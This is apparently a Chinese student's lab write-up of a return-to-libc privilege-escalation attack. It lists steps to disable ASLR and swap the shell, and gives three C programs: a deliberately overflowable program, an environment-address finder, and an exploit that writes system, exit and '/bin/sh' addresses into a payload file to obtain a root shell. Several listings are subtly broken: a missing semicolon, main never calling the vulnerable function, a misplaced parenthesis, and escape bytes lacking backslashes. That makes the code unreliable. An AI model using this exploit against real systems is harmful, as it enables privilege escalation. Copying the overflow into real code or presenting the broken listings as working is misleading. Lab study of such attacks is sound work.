• 20145319 return-to-libc攻击实验


    20145319 Return-to-libc攻击实验

    一 实验内容

    • return-to-libc实验是一个基于缓冲区溢出攻击实验的基础上的一种攻击实验
    • 缓冲区溢出攻击相关知识:
      • 原理:通过一段包含shellcode以及shellcode地址的长字符串注入到程序中,以shellcode地址来覆盖程序原有的返回地址,从而让目标程序来执行我们的shellcode,以此达到攻击目的
      • 保护措施:为了防止缓冲区溢出攻击,现在常用的保护措施有两种,一是设置堆栈不可执行,漏洞程序在执行注入到堆栈中的shellcode时就会发生程序崩溃。二是代码生成地址随机化,以此来使得攻击者无法准确得知shellcode的地址
    • return-to-libc攻击原理:
      • 为了避开堆栈不可执行的问题,return-to-libc攻击放弃了让漏洞程序执行堆栈中的shellcode,而是跳转到已经存在的代码(例如libc库中的system函数)来完成攻击

    二 实验步骤

    • 安装32位c语言程序编译器,sudo apt-get lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev准备32位实验环境(本次实验在实验楼环境下完成)

    • 在实际中为了防范缓冲区溢出等攻击,通常会降低shell程序的权限,即无法保持root权限,为了绕过这个问题,我们使用另一个shell程序,zsh来代替/bin/bash

    • 上面说过,现在为了防止代码的注入,操作系统对于代码所分配的堆栈地址都是随机的,这也不利于我们找到之后我们需要找到的/bin/sh``system函数``exit函数的地址完成地址注入,所以我们要事先关闭掉地址随机化

    • 准备工作都完成之后,我们用以下三个程序来完成我们的攻击

    • 一段包含缓冲区溢出漏洞,由于生成root shell的漏洞代码myretlib.c

        /*myretlib.c*/
      
        #include <stdio.h>
        #include <stdlib.h>
        #include <string.h>
      
        int bof(FILE *badfile){
        	char buffer[12];
        	fread(buffer,sizeof(char),40,badfile);
        	return 1
        }
        
        int main(int argc, char **argv){
        	FILE *badfile;
        	badfile=fopen("badfile","r");
        	printf("returned properly
      ");
        	fclose(badfile);
        	return 1;
        }	
      
    • 读取环境变量的程序getenvaddr.c

        /*getenvaddr.c*/
      
        #include <stdio.h>
        #include <stdlib.h>
        #include <string.h>
      
        int main(int argc,char const *argv[]){
        	char *ptr;
        	if(argc < 3){
        		printf("usage : %s <enviroment var> <target program name>
      ",argv[0]);
        		exit(0);
        	}
        	ptr=getenv(argv[1]);
        	ptr+=(strlen(argv[0]-strlen(argv[2]))*2;
        	printf("%s will be at %p
      ",argv[1],ptr);
        	return 0;
        }
      
    • 攻击用程序exploit.c将我们获得的/bin/shsystem函数exit函数的地址写进新的badfile中

        /*exploit.c*/
      
        #include <stdio.h>
        #include <stdlib.h>
        #include <string.h>
      
        int main(int argc, char **argv){
        	char buf[40];
        	FILE *badfile;
        	badfile=fopen(".//badfile","w");
        	strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");
      
        	*(long *) &buf[32] = 0x11111111; /*用以保存//bin//sh 的相关地址*/
        	*(long *) &buf[24] = 0x22222222; /*用以保存system函数的相关地址*/
        	*(long *) &buf[36] = 0x33333333; /*用以保存exit函数的相关地址*/
      
        	fwrite(buf, sizeof(buf), 1, badfile);
        	fclose(badfile);
        }
      
    • 在完成编译后,我们首先通过读取环境变量的程序getenvaddr.c来获得BIN_SH的地址

    • 而一般程序中,都会跳转到系统已经存于内存中的函数systemexit所以我们通过设置断点来跟踪获得相应的地址

    • strcpy函数处设置断点,继续运行

    • 将我们获得的三个地址填入代码exploit.c中,删除badfile,重新编译

    • 再次运行代码exploit时就会生成新的badfile

    • 此时运行我们的漏洞程序myretlib输入命令whoami即可见攻击成功

  • 相关阅读:
    QSettings读写注册表、配置文件
    QSettings介绍
    桥接模式
    Qt之启动外部程序
    StringJDBC更改数据库的两种方式
    写代码注意事项
    maven仓库
    java关闭流,解压缩后的清除
    Java删除文件夹和文件
    浏览器禁用后退
  • 原文地址:https://www.cnblogs.com/20145319zk/p/6576887.html
Copyright © 2020-2023  润新知